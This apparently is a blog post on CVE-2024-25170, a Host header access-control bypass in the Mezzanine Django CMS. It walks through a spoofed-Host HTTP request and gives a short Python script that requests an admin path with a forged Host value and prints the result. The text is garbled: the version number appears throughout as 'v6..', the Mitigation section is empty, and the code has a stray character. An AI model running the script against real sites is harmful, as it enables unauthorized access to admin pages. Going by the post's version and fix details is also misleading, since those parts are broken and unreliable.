In February 2024, a notable security weakness was found in Mezzanine v6.., a widely used open-source content management system for Django. The flaw, tracked as CVE-2024-25170, allows attackers to bypass access controls simply by tampering with the Host header in HTTP requests. This can lead to sensitive data exposure or unintended backend access, which is especially dangerous for sites relying on host-based access restrictions.

In this post, we'll unpack how this vulnerability works, go step-by-step through an exploit example, and provide links to original advisories. My aim is to keep things clear and practical, so let’s dive in.

What is the Host Header?

The Host header is part of every HTTP request, telling the server which website or domain is being accessed. For example, a typical request might look like:

GET /admin/ HTTP/1.1
Host: www.example.com

Some applications use this header to determine which site or tenant a request is for, or as a security check to block unauthorized hosts.

What Went Wrong in Mezzanine v6..?

In Mezzanine v6.., the application fails to properly validate the Host header in incoming HTTP requests. This means a user could change the Host header to a value that tricks the application into thinking the request is coming from a trusted source, bypassing certain access controls set by the site admin (for example: admin-only portals, or paths protected via host-based middleware).

Exploit Example

Let’s say your Mezzanine admin panel is only meant to be accessible via admin.example.com. Mezzanine is set up to check the host, like so:

if request.get_host() == "admin.example.com":
    show_admin_panel()
else:
    raise PermissionDenied()

But since Mezzanine v6.. doesn't properly lock down the Host header, an attacker can craft an HTTP request like:

GET /admin/ HTTP/1.1
Host: admin.example.com

—even if they're sending this to your public domain—or even via localhost or direct IP.

Here’s how you could test this in Python using requests

import requests

url = "http://public.example.com/admin/";
headers = {
    "Host": "admin.example.com"
}
r = requests.get(url, headers=headers)
print(r.status_code)
print(r.text)

If exploitation is successful, an attacker will get admin content even though their request didn't originate from the protected host.

Unauthorized Access: Attackers gain entry to admin pages or debug panels.

- Sensitive Data Leaks: If different hosts show different content, attackers can access data meant only for trusted users.
- Bypass of Internal Firewalls: If firewall rules rely only on Host header validation, these too can be circumvented.

Mitigation

If you run Mezzanine 6..:

References

- Mezzanine GitHub Security Advisory
- NIST NVD Entry for CVE-2024-25170

Conclusion

CVE-2024-25170 shows how something as simple as a single HTTP header can lead to major security problems. Mezzanine users should update right away, and all web app admins should understand the importance of strict host validation.

Stay safe out there!

More Reading:
- Mezzanine Official Website
- OWASP Host header attacks

Feel free to ask questions or share your own experiences in the comments.

Timeline

Published on: 02/28/2024 20:15:41 UTC
Last modified on: 11/19/2024 21:35:04 UTC